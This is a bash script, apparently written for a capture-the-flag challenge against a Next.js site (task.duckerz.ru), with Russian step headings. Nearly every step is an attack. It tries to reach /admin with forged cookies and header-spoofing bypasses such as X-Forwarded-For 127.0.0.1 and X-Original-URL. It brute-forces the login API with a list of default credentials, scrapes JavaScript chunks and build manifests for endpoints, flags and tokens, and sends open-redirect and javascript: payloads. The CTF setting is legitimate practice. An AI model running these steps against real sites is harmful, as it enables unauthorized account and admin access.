---

T="http://task.duckerz.ru:21046"

echo "===== 1. /admin напрямую ====="
curl -s -i "$T/admin" | head -20

echo; echo "===== 2. /admin с RSC ====="
curl -s -i "$T/admin" -H "RSC: 1" | head -30

echo; echo "===== 3. /admin с разными куками ====="
for c in "mdd=1" "mdd=admin" "mdd=true" "role=admin" "session=admin" "auth=1" "admin=1" "token=admin"; do
  echo "--- Cookie: $c ---"
  curl -s -o /dev/null -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "Cookie: $c"
done

echo; echo "===== 4. /admin с заголовками обхода ====="
for h in "X-Forwarded-For: 127.0.0.1" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Host: localhost" \
         "X-Real-IP: 127.0.0.1"; do
  echo "--- $h ---"
  curl -s -o /dev/null -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "$h"
done

echo; echo "===== 5. Брутфорс логина ====="
for c in "admin:admin" "admin:password" "admin:123456" "admin:admin123" \
         "admin:qwerty" "admin:letmein" "editor:editor" "editor:password" \
         "redactor:redactor" "user:user" "test:test" "guest:guest" \
         "admin:duckerz" "admin:vestnik" "admin:severny" "admin:северный"; do
  l="${c%%:*}"; p="${c##*:}"
  r=$(curl -s -o /dev/null -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=$l&password=$p&next=/admin")
  echo "$l:$p -> $r"
done

echo; echo "===== 6. RSC на /login?failed=1 ====="
curl -s "$T/login?failed=1" -H "RSC: 1" | head -50

echo; echo "===== 7. Список API эндпоинтов из чанков ====="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  ; do
  echo "--- $f ---"
  curl -s "$T/_next/static/chunks/$f" 2>/dev/null \
    | grep -oE "/api/[a-zA-Z0-9_/-]+" | sort -u
done

echo; echo "===== 8. Поиск флага и подсказок в чанках ====="
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  ; do
  echo "--- $f ---"
  curl -s "$T/_next/static/chunks/$f" 2>/dev/null \
    | grep -oE "DUCKERZ\{[^}]+\}|flag[a-zA-Z]*|admin|secret|token" | sort -u | head -20
done

echo; echo "===== 9. buildManifest ====="
curl -s "$T/_next/static/JJN36yMfd5yB9oQiq_ZJw/_buildManifest.js" | head -50
curl -s "$T/_next/static/chunks/app-build-manifest.json" | head -80

echo; echo "===== 10. Проверка next на open redirect ====="
for n in "//example.com" "https://example.com" "/admin" "javascript:alert(1)" "/%2F%2Fexample.com"; do
  r=$(curl -s -o /dev/null -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=x&password=x&next=$n")
  echo "next=$n -> $r"
done

echo; echo "===== DONE ====="